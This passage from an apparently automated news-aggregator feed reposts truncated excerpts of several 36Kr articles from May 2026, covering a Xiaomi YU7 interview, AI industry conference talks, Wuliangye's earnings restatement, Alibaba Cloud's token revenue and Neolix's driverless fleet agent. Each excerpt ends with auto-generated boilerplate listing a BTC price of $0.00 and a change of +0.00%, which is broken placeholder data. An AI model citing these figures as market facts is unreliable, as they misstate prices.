Y竞争特别不利。仔细复盘以后，我们把标准版加回来了，这样我们就能标准版对标准版，长续航对长续航，无论他们怎么五年零息，我们都有绝对的竞争力。问：小米现在已经不再公布大定数值，而且上个月的交付量要比乘联会披露的数量还要少，小米是如何考虑的？雷军：去年YU7发布时，3分钟大定超过了20万辆，这个数字实在是太惊人了，行业里面几乎没有人信，大家都觉得我们数据有问题。后来我一想，算了，只公布锁单数据，看承诺不退的量到底有多少，所以之后我们也会只公布锁单。至于每个月的交付量，我不想陷入跟大家的比较，我觉得差不多就行了，所以他们每次公布前问我说，36700台，我说就说3万台吧，其实大差不差。我是觉得我们小米要放平心态，我觉得造车是十年之功，不争一个月之长短，踏踏实实把车造好，把消费者服务好，一步一步小米就能成为全球前五的车厂，今天多一台少一台不重要。问：小米欧洲团队有很多大佬，小米如何招募到这么多顶尖高手？雷军：在欧洲建立研发中心，我们思考了一年时间。首先我们为什么在欧洲设研发中心？智能生态是每一辆小米车已有的属性，那造车里我们需要增强的是什么呢？我觉得是把车造得性能好、安全、质量好，这是硬功夫。那机械素质方面欧洲还是有很强的底蕴，做得非常好，所以我们希望吸纳全球的技术专家，真心把这件事情做好。所有整个招聘工作，关键岗位我都亲自参与了面试。我们整个研发部门到现在，有15年、20年经验的技术专家，差不多已经有1500人了。问：今天发布会又宣布纽北创纪录，小米一直在纽北跑圈是想证明什么？胡峥楠：我觉得去纽北这件事情不是为了证明什么，如果用一句话来总结的话，它是一个方法，它不是一个目标。其实有一个小故事，最早去提出去纽北这件事情的

文章来源

标题: 小米YU7家族再推新车，雷军：标准版打特斯拉，GT版狙BBA
来源: ai
链接: https://36kr.com/p/3817022407181188?f=rss
时间: 2026-05-22 16:59:11 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3817022407181188?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-22T09:00:33.503374+00:00

从混沌到秩序：具身智能的数据供给革命与技能结构化实践| 2026AI Partner·北京亦庄AI+产业大会

Fri, 22 May 2026 06:00:58 +0000

原文摘要

大语言模型可以靠堆数据跑通Scaling Law，但机器人面对的是动态、多模态、强时序关联的物理世界，杂乱的数据堆在一起，训不出可靠的模型。从混沌到秩序的工业化路径，质量比数量更重要。

机器人进工厂、进场景，真正的挑战不在模型本身，而在数据。徐良威指出，具身智能的数据不是时间、空间、任务意图紧密耦合的多模态资产。智域基石提出了五层数据编译管线模型，每一层都有明确的质量指标，唯有构建数据底座生态，让本体方、模型方、产业方各司其职，高质量物理世界的数据才能真正流通起来，支撑具身智能的规模化落地。以下为演讲内容，经36氪整理编辑：

徐良威丨智域基石CTO 大家好，我是智域基石的联合创始人兼CTO，今天我跟大家分享的是从具身智能的数据供给革命与技能结构化实践，标题是从混沌到秩序。为什么是从混沌到秩序？具身智能的到来让大家发现原先在大语言模型、自动驾驶或者在所有过去AI的数据实践在具身智能里不够用了，今天主要讲一下智域基石在上面做了什么样的工作，主要讨论两个话题，第一个事情我们在具身智能的数据上怎么去做标准化的工业化实践。第二个如何把数据和模型本体、产业、场景结合起来，变成一个生态，而不是单纯数据的事情。我们直接到机器人的落地，2026年我们可以看到一部分的机器人已经从小样逐渐往产业里跑了，原先我们考虑到的是怎么把实验室里的算法用视频或者现场展示的方式展现出来，这个事情已经远远不一样了，我们把机器人从实验室里搬到真实的场景里，原先只要考虑让机器人动起来、完成指定任务就可以了。现在我们要考虑的事情是如何让机器人面对不确定的、动态的、多模态整个场景数据输入，还能够进行持续稳定和物理世界的交互，这时候我们就要考虑我们怎么产生稳定化供给。原先有一句话说的很对，模型决定机器人的能力上限，模型决定了机器人能干什么，很难决定机器人在最差的环境下能做到什么程度，因为很多事情即使是人在新的场景里都不一定能够处理的好，这个时候就需要我们考虑怎么把真实场景里的数据，这个数据可能分为本体数据，机器人感知到的环境数据，甚至是机器人的任务，机器人的日志，这些信息都要能够送到机器人训练的整个闭环里，这时候才能够把原先在小样级别变成真正在产业里能够落地的事情。原先大家做语言模型时，大家说Scaling Law，希望有越来越多的数据才能让模型变的越来越好，本身这个事情是没有问题的，具身智能不像原先是结构化的数据，我们在多模态跟持续强相关的数据领域里发现，我们如果单纯堆数据，把大量原先混杂在互联网的数据跟机器人操作相关的数据，不管什么样的仿真数据，把这些数据全部堆在一起，能不能让模型训练出来？有这个可能性，目前的结论，我们还很难说把一些杂乱的、毫无规则的数据堆在一起就能够训练出更好的模型，我们不仅考虑数量，还要考虑质量。这个质量一方面体现在采集，另一方面体现在数据的采集、质检、预标注、人态环路的闭环再到数据后处理，再到导出，最后进到模型训练，完成模型到数据的闭环体现在整个环节里，每个环节都需要质量，如果某一环节出了差错，不是说这个模型训练不出来，而是真正的模型落到本体再进入场景，如果这个场景出问题，��么回溯到我这个数据或者在原先的闭环里哪一部分出了问题，这是我们对于数据的要求，数量很重要，但我们要考虑质量，还要考虑质量在每一个环节里的重要性。路线有很多，大家经常讲的VLA，以模仿学习为主，以视觉输入、语言指令再加上机器人的动作，一个机器人看到什么样的场景，我得到了指令，下一步输出什么样的动作，是一个轨迹层面的数据，以轨迹为主。另外一条路线，大家经常提起的世界模型，在world model中加一个action，最终要作用在物理世界里的，这里考虑的是我看到一个场景，我施加了一个动作，物理世界变成什么样，这时候考虑的是因果关系，这里面虽然VLA和world model有模型上的差异，需要的都是同一种底层资产，在真实世界里的结构化高质量数据，我定义了合理的或者适用于最终模型任务，通过一定手段把物理里的信息数字化，再经过结构化的过程，把它变成可以输入到模型里的东西，这时候原始数据是一样的，中间流程稍微有一些不一样，基于同一套数据底座。数据底座是一整套把真实的场景、真实的任务、真实的成功/失败、真实的和整个环境交互全部都记录下来，从而能够输入到模型里，让模型能够在真实的世界里获得闭环。这一套数据输入有可能是机器人本体，大家看到很多数据采集工厂、数据实训厂，通过让人操控机器人获得和机器人有关的数据，直接作用于机器人不管是预训练、后训练，现在还有一些比较前沿的，让人带着第一人称视角记录人的数字化劳动，让人本身的劳动数字化到虚拟世界里，再去训练不管是VLA还是世界模型，让机器人学会人类技能，本质上都是把人类或者是机器人这样的一个本体和环境的交互，把物理的概念变成一套数字化的概念，智域基石就做了一套数据底座，不管前端是什么样的数据流入，我们都可以通过数据编译管线处理成模型可以使用的数据，最终完成数据本体，再回到场景再回到数据的闭环。一个任务怎么把原始数据记录变成模型可以使用的数据，第一个流程，先定义好任务，先要采一个什么样的数据，先要知道机器人看到了什么，它做出什么样的动作甚至它听到了什么，还要关注前因后果，我之前的场景是什么样的，我在看到这个场景以后我做出什么样的决策，我又做出什么样的动作，如果我发生这个动作，我接下来的思考是什么，这个世界真实又会怎么变，一方面记录在真实世界里发生的所有传感器的记录，另外从任务记录，不是单纯从传感器得到的，是事前规划或者是事后推演，我通过把现场记录、任务整理搞起来，后面我们把它变成机器人、具身智能需要的一套数据资产，中间涉及到怎么采集、提取其中的关键因素，最后怎么把它沉淀到资产，也会涉及到成功/失败的处理，涉及到失败以后机器人怎么重试，重试策略是什么，重试之后导致的结果是什么，这都是从原始数据变成训练样本重要的步骤之一。这是智域基石提出的五层数据编译管线模型，我们考虑到原始数据不是把数据采完了，把它存到硬盘里可以直接被输入到模型里训练，我们考虑到的是中间有非常多道流程，每一道流程都是有关键指标的。只有把每一步做好，才不是简单的数据存档，而是真正能够成为数据资产的东西，这一套数据资产下面可以进入到场景、模型，可以和本体结合，被真正的用起来。第一个流程数据质检，首先是数据采集，采集后才能把真实物理环境里的模型信号变成数字信号，以数字化的形式存下来，raw data，是杂乱的、没有规则的、非结构化的数据，我并不知道好不好，也不知道能不能进入后面的处理流程里，第一步做数据质检，先看一看数据是否满足基本的数据处理要求。数据满足后，进入数据处理管线里，下一步是数据对齐，机器人或者具身智能数据不是单纯的画面或者是简单的视频，其实是多模态和时序紧密结合的数据，完成空间、时间的对齐，完成时间、空间的结构化，不是单纯杂乱的数据，至少是被数据处理的算法和机器能够理解的数据，每处理一帧数据都可以完成横向、纵向的索引。完成以后，到了数据变成模型可用数据层次，从结构化数据里再提取出真正的语义或者因果关系部分，我们要知道数据在整个空间里怎么和环境交互的，跟意图

文章来源

标题: 从混沌到秩序：具身智能的数据供给革命与技能结构化实践| 2026AI Partner·北京亦庄AI+产业大会
来源: ai
链接: https://36kr.com/p/3819884983226497?f=rss
时间: 2026-05-22 11:10:14 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3819884983226497?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-22T06:00:58.976644+00:00

带着AI去赛场:AI+电竞全流程赋能 | 2026AI Partner·北京亦��AI+产业大会

Fri, 22 May 2026 06:00:51 +0000

原文摘要

AI的加入，让电竞的竞争维度从操作层面延伸到数据与策略层面。

AI+电竞，不只是让电脑变强，而是让整个产业变聪明。赵鉴指出，在选手端，AI可分析操作习惯与决策模式，模拟不同风格的对手进行针对性训练；在赛事端，AI能理解比赛形势，生成风格化解说，并赋能赛事管理与商业运营；在产业端，AI驱动智能剪辑、虚拟主播和衍生品开发。以下为演讲内容，经36氪整理编辑：

赵鉴|北京中关村学院助理教授、AI+游戏/电竞负责人尊敬的各位领导、各位朋友大家好，我是来自北京中关村学院的赵鉴，目前是一名大学的博士生导师，课题组从事AI+电竞+产业。今天与大家分享的主题带着AI去赛场，AI+电竞全流程赋能。电竞是第99个体育竞赛项目，首次入选杭州亚运会，沙特将筹办首届奥林匹克电子竞技运动会，据不完全统计，中国已经成为了全球最大的电竞市场，产业规模超过1500亿元人民币，电竞赛事不只是年轻人的娱乐方式，更成为推动数字经济发展的新动能。在这样的背景下，人工智能技术的引入为电竞注入新的活力，主要体现三个方面：一、在选手玩家端，传统的电竞训练依赖行为预测、模拟对抗，为选手提供精准的训练方案。AI可以分析选手的操作习惯、反应时间与决策模式，同时AI还能模拟不同风格的对手，帮助选手进行针对性的演练，提高训练效率， AI分析对手的英雄选择、出装偏好，这意味着电竞比赛不仅是操作的比拼，更是数据与策略的较量。二、赛事端，AI能够给大众提供更好的服务，AI能够精准理解当前的比赛形式，生成风格化解说内容，满足不同人群的需要。除此之外，还能赋能赛事管理、粉丝行为分析、广告投放等等，提高赛事的商业价值与运营效率。三、在产业端，AI在电竞内容领域同样发挥着重要的作用，比赛视频的智能剪辑和虚拟主播等，同时AI还能赋能电竞的衍生品开发。由于时间关系，我不一一列举更多了。

文章来源

标题: 带着AI去赛场:AI+电竞全流程赋能 | 2026AI Partner·北京亦��AI+产业大会
来源: ai
链接: https://36kr.com/p/3819893521666436?f=rss
时间: 2026-05-22 11:18:08 +0800

核心内容

AI的加入，让电竞的竞争维度从操作层面延伸到数据与策略层面。

内容来源：ai 原文链接：https://36kr.com/p/3819893521666436?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-22T06:00:51.799079+00:00

签约仪式：带着AI去赛场:AI+电竞全流程赋能战略发布仪式| 2026AI Partner·北京亦庄AI+产业大会

Fri, 22 May 2026 06:00:44 +0000

原文摘要

邵斌丨北京中关村学院教授、中关村人工智能研究院院长左伟丨首都体育学院副校长叶靖波丨京奥电竞（北京）科技有限公司董事长在今天的大会上我们还将举行一场重量级的三方签约。中关村人工智能研究院致力于面向未来，致力于面向未来、具有产业价值和颠覆意义的人工智能与交叉学科领域的科学探索,推动创新成果产业化落地，北京中关村学院和中关村人工智能研究院两院一体两面，是北京人工智能领域的一面崭新的旗帜；首都体育学院是北京高校首批本科电竞专业，为电竞产业培养大量的优质人才。京奥电竞(北京)科技公司立足于北京经济技术开发区，深度运营北京智慧电竞中心，青年人才培养，行业资源整合及品牌传播，形成了以赛促产的特色发展路径，并参与了国内外顶级赛事的落地执行，如英雄联盟全球总决赛，三角洲烽火联赛。三方将依托各自的优势，充分协作，实现产学研一体的全面突破。下面我们正式进入签约环节，共同见证一场重量级的签约。允许我介绍以下嘉宾，让我们欢迎: 北京中关村学院教授、中关村人工智能研究院院长邵斌；首都体育学院副院长左伟；京奥电竞(北京)科技有限公司董事长叶靖波；有请各位落座，签约，请领导留步，我们在台前进行合影留念。签约仪式圆满结束，希望有更多AI+电竞的优质成果诞生在联合框架下，谢谢大家。主持人：在AI从技术走向产业的关键路上，总有人率先出发，照亮前路。他们是AI场景落地的先行者，以远见与魄力，为整个行业趟出可行路径，成为穿越周期的灯塔。有灯塔指引方向，更有勇者打破边界。他们打破AI落地壁垒、打通场景、创造增量，是当之无愧的破壁者！接下来将要发布2026 AI最佳场景渗透案例-特别致敬人物，请看大屏幕！尊敬的各位来宾，2026 AI Partner 北京亦庄AI+产业大会20日上午的议程已经结束！在此由衷感谢所有嘉宾的精彩分享，以及每一位在座您的全程参与。

文章来源

标题: 签约仪式：带着AI去赛场:AI+电竞全流程赋能战略发布仪式| 2026AI Partner·北京亦庄AI+产业大会
来源: ai
链接: https://36kr.com/p/3819898058330240?f=rss
时间: 2026-05-22 11:22:01 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3819898058330240?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-22T06:00:44.480512+00:00

潮水退去，裸泳的一定不止五粮液

Fri, 22 May 2026 06:00:37 +0000

原文摘要

作者 | 谢芸子编辑 | 张帆封面来源 | 企业官微 5月18日的临时股东大会，五粮液“真诚道歉”了，原因在于其创造的、最令A股错愕的“财务变脸”。就在刚刚过去的4月末财报季，这家常年位于行业第二的白酒龙头企业，发布了一份“更正公告”，大幅抹去了公司去年前三季度超过50%的营收，以及近70%的净利润。调整后的财报最终显示：2025年，五粮液实现营收405.29亿元，同比下滑54.6%；归母净利润89.54亿元，同比下滑71.9%。业绩大幅调整的原因指向财报中首次出现的两个新科目——49.07亿元的“监管商品”和263.15亿元的“监管商品款项”。尽管五粮液至今未解释“监管商品”的含义，但多家券商机构将其理解为：“已发货、未实现终端动销的存货成本”，以及“已收款、未满足收入确认条件的预收款项，待终端销售完成后才会计入收入”。 “中译中”，经销商打款提走的货，只要还没卖到消费者手中，就不再被计入真实收入。从这一层面看，五粮液亲手戳破了白酒行业维系了数十年的增长范式。只不过，这种堪称魔术般的财务调整，也动摇了资本市场对中国白酒行业的信任。在雪球等交易平台上，已有股民戏称五粮液为“赖子王”。多家国际投行也看空五粮液。花旗银行直接表示，本次财务修正并非简单的会计差错，而是公司长期向经销商强制压货、虚增营收和利润的集中清算。过往靓丽的业绩存在明显水分，真实经营质量远低于市场认知。有趣的是，国内券商机构仍看好五粮液未来的发展，普遍给予“买入”评级。本次股东会议，五粮液管理层也再度掏出了“急救工具”，承诺在未来12个月内完成80亿至100亿元的股票回购，并严格兑现不低于200亿元的分红。但这似乎没有打动投资者。截至发稿前，五粮液收盘价85.35元，相比历史最高点跌去三分之二。进入5月以来，其股价已累计跌超12%。库存高企，老二变“垫底” 想要理解监管商品的变动及由来，还要从白酒行业整体的发展模式切入。长期以来，中国白酒的增长模式并不复杂，经销商根据“出厂价”先打款，厂商收到后再发货，货品一到经销商仓库，厂商的财务系统就多了一笔营收计入。这种“先款后货”的模式，维系了头部酒企们数十年的账面繁荣。然而自2022年起，疫情导致线下停摆，原本的“蓄水池”变成“堰塞湖”。酒企们为保业绩，不断向经销商压货；经销商们为保住代理权，只能硬着头皮打款。供需失衡之下，高端白酒的市场价格下跌。时至2025年底，这一现象变得更加荒诞，连飞天茅台也出现了价格倒挂，五粮液的价格体系更是陷入多重失效的局面。在诸多媒体的报道中，彼时“普五”（第八代五粮液）的市场批发价已跌至每瓶810元，多地甚至跌破了800元。五粮液不得不“变相降价”，在维持出厂价的基础上，给予经销商“每瓶119元”的打款折扣，再加上扫码返利等政策，经销商的实际成本也降至每瓶800元。但仍有经销商“卖一瓶亏一瓶”。有五粮液华东地区的专卖店负责人告诉36氪，因为“打款价”高于“市场价”，其每年要垫付几百万元的价差，考虑到几十万元的银行利息，就算厂商会在年末返利，也是亏损的状态。

36氪根据公开资料制表

普五终端成交均价；图片截自“酒价内参” 财报的库存能更直观地反映出零售终端的动销失利。 2025年，五粮液产品的生产量为3.84万吨，同比下降10.96%；销售量为1.95万吨，同比下降53%；期末库存量为2.51万吨，同比暴增306.90%。换言之，五粮液产品去年期末的库存已超过全年的销售量。销售端大幅收窄的同时，生产端却未放缓，库存出现明显累积。

图片截自财报

近年来五粮液存货情况，单位：亿元；36氪根据财报制图把时间轴拉长，公司总体存货的攀升更为清晰。截至2025年末，五粮液的整体存货账面价值已由2022年末的159.81亿元，上涨到200.65亿元。在这样的情况下，“监管商品”算是彻底捅破了“白酒卖不出去，也不再那么值钱”的窗户纸。但问题呼之欲出，叠加“换了层皮”、但实质也为库存的监管商品，五粮液的账面存货高达512.87亿元。对于库存的消耗，白酒总不能像快时尚那样“烧衣服”，酒企们常见的做法是降低产量，同时以各种方式将卖不出去的货品腾挪至渠道，等待市场一点点消化。若价格持续倒挂，酒企们也只能不断增加对经销商的补贴力度，这也势必影响利润表现。值得关注的是，若以2020年的营收为基数，在库存及“监管商品”的连年影响下，2025年五粮液的增速已跌落至“垫底”。

以2020年营收为基数，头部酒企的增速对比；36氪根据Wind数据制图 “蓄水池”干了，信心还在吗？更深的裂缝，也蔓延至经销商的信心和现金流上。作为库存的连锁反应，五粮液财报的另一个关键科目——“合同负债”也在失效。合同负债是酒企与经销商签订销售合同的预售货款，代表经销商的打款意愿。旧规则下，经销商打款、酒企发货，随即计收，合同负债同步下降。新规则下，“未发货”的商品被拦在了营收之外，转为“监管商品款项”。五粮液的最新财报也显示，其合同负债确认为收入，截至2025年末，公司的这一数字为134.6亿元，同比增长15.14%。表面看，经销商对五粮液的信心仍在。若拆开每一季度的业绩数据，情况则复杂得多。

36氪根据Wind制表 2025年三季报，五粮液的合同负债为92.68亿元，同比增加31.1%；同期，公司的现金回款（即销售商品、服务换回的真实现金流）却与之背离，仅为71.41亿元，同比暴跌74.7%。经营活动现金流净额，更是从去年同期的163.7亿骤降至-28.89亿，由正转负。多家券商曾明确表示，五粮液自三季度主动放弃强制回款，强调市场良性和价格表现。经销商的打款节奏也从“先快后慢”转为“更慢”。这或许意味着，五粮液去年三季度乃至全年的合同负债虽同比增加，或也是前期积累的预收款以及后期打款大幅收缩的共同作用。仅从三季度的现金流来看，经销商的打款能力也已经见底。当然，也不能“一棍子打死”。华创证券研报指出，今年一季度，五粮液产品的累计动销为1.4万吨，终端进货商家数量增长60%，开箱率达70%，显示真实动销正在修复。只是这一修复的速度明显没有财报表现的那么“炸裂”。 2026年一季度报显示，五粮液归母净利润为80.63亿元，同比暴增82.57%。这一季度的利润水平已逼近2025年全年的水平。但细看就会发现，2025年一季度的净利润基数，已从原报表的148.6亿元被大幅调降至44.16亿元。新一季度的“高增长”，也是“财报大洗澡”后，基数被刻意做低的数字游戏。此外值得提及的是，在剥离监管商品后，五粮液2025年末的合同负债已大大瘦身。未来真正的利好消息，还要看监管商品款项能否逐季下调——这意味着263.15亿元的“悬空”营收能否被市场真正“喝掉”。可以预见的是，当下的五粮液想要消化这些库存，仍需历经漫长的时间。代际变迁，新瓶装不了旧酒综上所述，还没有必要将现阶段的五粮

文章来源

标题: 潮水退去，裸泳的一定不止五粮液
来源: ai
链接: https://36kr.com/p/3819884036051074?f=rss
时间: 2026-05-22 11:26:05 +0800

核心内容

36氪根据公开资料制表

图片截自财报

内容来源：ai 原文链接：https://36kr.com/p/3819884036051074?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-22T06:00:37.956438+00:00

5个月MaaS收入增长15倍，阿里云找到了做大Token生意的办法

Fri, 22 May 2026 06:00:30 +0000

原文摘要

文｜邓咏仪编辑｜张雨忻 “阿里云MaaS业务的Token收入，在2026年的过去5个月里增长了15倍，月度Token收入已经达到数亿元级别。”这是阿里云在5月20日的发布会上给出的最新数字。而拉动这笔收入的最直接原因指向了一个词：Agent。这一天，阿里云发布了新一代旗舰模型Qwen 3.7 Max等一系列产品，这距离Qwen 3.6 Max的面世仅仅过去了一个月。为什么这么着急？随着今年2月OpenClaw的爆火，各家模型厂商都开始针对Agent做模型在Coding能力上的提升。大模型的Coding能力之争越来越白热化，阿里也必须端出一款在Coding方面能打的模型，保持自身MaaS业务的竞争力。“未来是Agent Cloud的时代。”阿里云公共云总裁刘伟光表示。无独有偶，大洋彼岸的硅谷，Google I/O大会也在同一天举办，主题同样是Agent Cloud，Google新发布的芯片、模型、应用……几乎所有产品也都围绕Agent展开。 Agent Coding，已经成为全球现阶段的AI共识。

△图源：阿里云狠狠做Agent 发布会第一个端上来的新“千问云”官网，这是一个为Agent设计的网页，也是阿里云成立17年以来，第一次为单独业务做的独立官网。

△图源：千问云 “千问云是为Agent设计的，而不是人类。”阿里云公共云事业部负责人刘伟光说，这来自2024年底，阿里云内部的一个判断：未来云计算产品的主要使用对象，也会逐渐从人类工程师变成Agent。在过往，一个开发者或企业想要在云上部署服务，需要打开官网，注册之后，然后面对上百个产品分类，自己选机型、配网络、开实例、装环境、调API——每一步都需要人类工程师做判断，上手门槛不低。但在千问云官网上线背后，动线会发生变化：Agent会先找模型，再找工具和skills，最后才是底层云资源。顺序反过来了。一个例子是，在龙虾上线后，阿里云发现Agent可以在一天之内自动完成云计算资源的开通，这在过去，是人类要干两周的活。“未来不需要人来开通了，Agent自动就在后台把云计算资源激活了。”刘伟光说。官网只是前菜。阿里云从上层的模型到Infra到底层的芯片，都围绕Agent重新完成了一次适配。首先是新一代旗舰模型Qwen 3.7 Max的推出，这距离Qwen 3.6 Max的发布仅一个月时间。尽管一直以来阿里在开源领域建立了不错的影响力和口碑，但相较国内的智谱GLM、Kimi，阿里的旗舰模型并没有享受到小龙虾带来的最大红利。而Qwen 3.7 Max的发布，则阿里在Coding领域试图扳回一城的动作。在目前业界最权威的代码能力测试中，Qwen 3.7 Max已经追平了DeepSeek的最强版本，在难度更高的复杂工程任务测试中，Qwen 3.7 Max也排到了第一的位置。

△Qwen3.7-Max可独立执行长达35小时的长程复杂任务，工具调用数量也在各大模型中位于前列，图源：阿里云相较上一代Qwen 3.6 Max Preview，Qwen 3.7 Max最大的升级是长周期任务能力的大幅强化——Agent可以自主执行跨越数十小时、上千步骤的复杂任务，而不需要人类中途介入。长程任务能力越强，意味着Agent能够独立完成的任务复杂度越高、人类介入越少。这也是Claude Code、Gemini Deep Research等当下最强Agent产品的核心竞争维度。阿里云CTO周靖人举的一个例子是：在平头哥的新芯片平台上，Qwen3.7-Max通过自主编程和超1000次工具调用，实现了平台关键内核的自我进化，推理速度较原版本提升10倍。这意味着，模型能够像成熟的工程师一样，独立解决代码中间缺陷的问题，也可以帮助工程师开发复杂的功能。而这些任务能够完成，也离不开芯片和Infra的适配：在芯片层，阿里云的新一代训推一体AI芯片真武M890，以及自研互联芯片ICN Switch 1.0，都搭载在超节点服务器上，主打的就是Agent的大规模并发场景。而现在，阿里平头哥PPU芯片出货已经超过54万片，并且在悟空、秒悟等AI应用中已经开始提供推理服务。怎么把Token生意越做越大 Agent爆发带来了Token消耗的爆发——Agent本质是代码生成，一次任务调用的Token量，是普通对话场景的十倍甚至百倍。所以，Agent共识也直接演变成了模型市场的一场明牌战争：谁的模型在Agent场景下被调用得多，谁就能够迅速获得收入——当今市场的最大赢家无疑就是Anthropic，据华尔街日报，Anthropic的营收预计将在第二季度增长一倍以上，达到109亿美元。

△图源：华尔街日报阿里云也受益于此。2025年，阿里云自然年全年营收超1466亿元，当年营收增速28.6%，后者主要得益于AI产品的贡献。阿里巴巴CEO吴泳铭在上周的财报电话会上透露，6月份季度，包含百炼MaaS平台在内的AI模型与应用服务年化经常性收入（ARR）将突破100亿元，年底突破300亿元。不过，在这场Token战争中，阿里和字节选择了两种不一样的打法。 “Token带来的收入主要来自两端，一端是以Coding为代表的大语言模型，另一端是视频模型。但在过去一段时间，很多人会把两个市场的Token增量混为一谈，这是不合适的。”刘伟光强调。字节占住了视频模型市场——有研究机构测算，Seedance 2.0爆火后，字节在视频模型市场的Token日均消耗已占整个市场的80%。2025年底火山曾立下目标——2026年MaaS服务收入超过100亿，但在Seedance 2.0爆火之后，这个目标已经再度上调。相较之下，阿里云则在大语言模型上占据优势。“有开发者的公司，才会需要云，所以阿里云的存量客户（肯定有开发者）几乎都是Coding的潜在用户。”刘伟光说。 2025年底，阿里云曾喊出“2026拿下AI云市场增量的80%”的业务目标。阿里云将当下的业务火力，集中在了Coding领域。“今年前5个月，我们可以说，阿里云已经拿到了LLM模型市场增量的80%。” 为了配合这一目标，阿里云对销售的考核方式也在变——不是看谁卖出去的Token量最大，而是比谁卖出去的Token最值钱。简单来说，阿里云现在追求的，并不是简单聊天产生的Token消耗，因为这类模型的价格已经到了地板价。相反，阿里云如今的一个核心指标是：模型接入客户的核心业务系统数量。这意味着，阿里云希望卖出去的Token，是被客户用来写代码、做决策、跑流程。而一旦进入企业的核心生产流程，Token消耗量是指数级上升的，单价更高，复购更稳定，对应的也是更高质量的收入。这源于Coding的Token消耗逻辑和视频并不一样。视频模型的Token消耗是一次性的——生成一段视频，任务结束。代码场景则更像一个自我进化的过程：模型写出代码，代码变成应用，应用部署到云上，应用运行起来后又需要调用模型，模型再生成更多代码。如今的大模型竞赛

文章来源

标题: 5个月MaaS收入增长15倍，阿里云找到了做大Token生意的办法
来源: ai
链接: https://36kr.com/p/3819955387371649?f=rss
时间: 2026-05-22 12:21:02 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3819955387371649?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-22T06:00:30.492565+00:00

新石器NewClaw：AI一体化解决方案，零门槛当无人车指挥官| 2026AI Partner·北京亦庄AI+产业大会

Thu, 21 May 2026 15:01:14 +0000

原文摘要

管理一千台无人车需要多少人？答案是：一个人，一部手机，一句话。当自动驾驶逐渐“平权”，真正的瓶颈从技术转向了规模化运营。

新石器用七年时间走完从合规落地、规模量产到万台运营的三级跳，如今推出AI Agent“Neo Claw”——让用户像聊天一样指挥车队，把单人管理效率从10台拉升到100台以上。颉晶华强调，AI的价值不在于写多少代码，而在于解放双手——让无人车管理从“专业操作”变成“说话就行”。以下为演讲内容，经36氪整理编辑：

颉晶华丨新石器无人车联合创始人兼CPO 各位好，我是新石器的颉晶华，很荣幸跟大家介绍新石器和我们在AI方面的应用与思考。八年前新石器公司创立，到如今已经成长为全球无人配送赛道的领军企业。从这几年的进程来看，我们有三条主线，第一条线是公司发展的里程碑。三个重要的里程碑：第一、2019年我们完成了全球第一个L4级别无人车万台量产能力的工厂，；第二、2021年5月，北京亦庄当时授予新石器中国第一张无人配送牌照，开启了我们商业化部署的大门；第三、2025年我们达到了万台量级的无人车队，开始实现大规模运营。第二条线是我们的拳头产品，X3、X6、H12，X3对应3个立方的装载，X6，6个立方的装载，H12，12个立方的装载。对商用车来说，用户最看重的是是降低使用成本，TCO（总拥有成本），这是我们最核心的价值。第三条线，三个数字。1亿5千万公里，这是自动驾驶的累计运营里程；一个是1500个专利，基于自动驾驶行业的专利，50%以上的发明专利，一个是20个国家，除中国以外我们现在已经在海外19个国家开始做规模化部署、POC。我们不单是一家做无人配送、新石器无人车的公司，物流行业里有三个重要的环节，运输、装卸、搬运，我们现在解决的只是运输这一个环节，装卸和搬运需要具身智能的装备来完成，我们正由新石器无人车向新石器机器人发展。介绍完公司大概的脉络，我们整个技术基于L4级别自动驾驶的无图技术，Neolix VA视觉+动作大模型，前段时间有行业大佬谈到自动驾驶没有那么神秘，现在自动驾驶实现的方法无非是三个，虚拟仿真、端到端、强化学习，抓眼球的词语更多是为了营销。从我的体感也是这样，商业自动驾驶还是为了降本，三个核心点也是为了降本，第一个就是摆脱对高精地图的依赖，高精地图的整个部署成本非常高，采、建、制、验，每一个环节都会产生成本。通过无图方案，我们可以大幅度降低部署成本，快速进行部署；第二个端到端依托于国内丰富的城配场景，基于现有数据在多场景、全天候、全时段运营；第三，新石器生于物流、长于物流，在物流行业的Know-how，无论是软件、硬件开发都沉淀了很多的经验，为接下来大规模扩张做好了相关的准备。 RaaS是我们去年开创的新商业模式，之前无人配送行业主要以卖车为主，RaaS的意思是RoboVan-as-a-Service，我们希望提供给用户是即时服务，用户有运输需求的时候，可以很快叫到新石器无人车满足他运输的需求。无人配送车作为机器，是可以24小时运营的，有效运营的时间越长，边际成本越低，这就是我们开创RaaS模式的驱动力。新石器出海近20个国家，包含了阿联酋、泰国、新加坡、日本、韩国包括欧洲、瑞士、西班牙，今年的目标是在中东地区部署超过一万台车，在这��区域建起一个无人配送网络。 AI，自动驾驶本身已经是AI了，新石器今年思考的一个新的关键方向是如何使用AI技术来管理和运营大规模无人车车队。全球最大的商用车车队是美国的UPS（United Parcel Service），拥有12万辆商用车，管理12万辆商用车需要6000-8000人，这个还不算司机，这几千人是做车辆管理、车辆调度。新石器这么大规模的无人车队，AI能够在车队管理和调度方面提供哪些帮助呢？，大家可以看一个介绍NeoClaw的视频。 NeoClaw是新石器全栈自研、行业首个无人车运营的AI 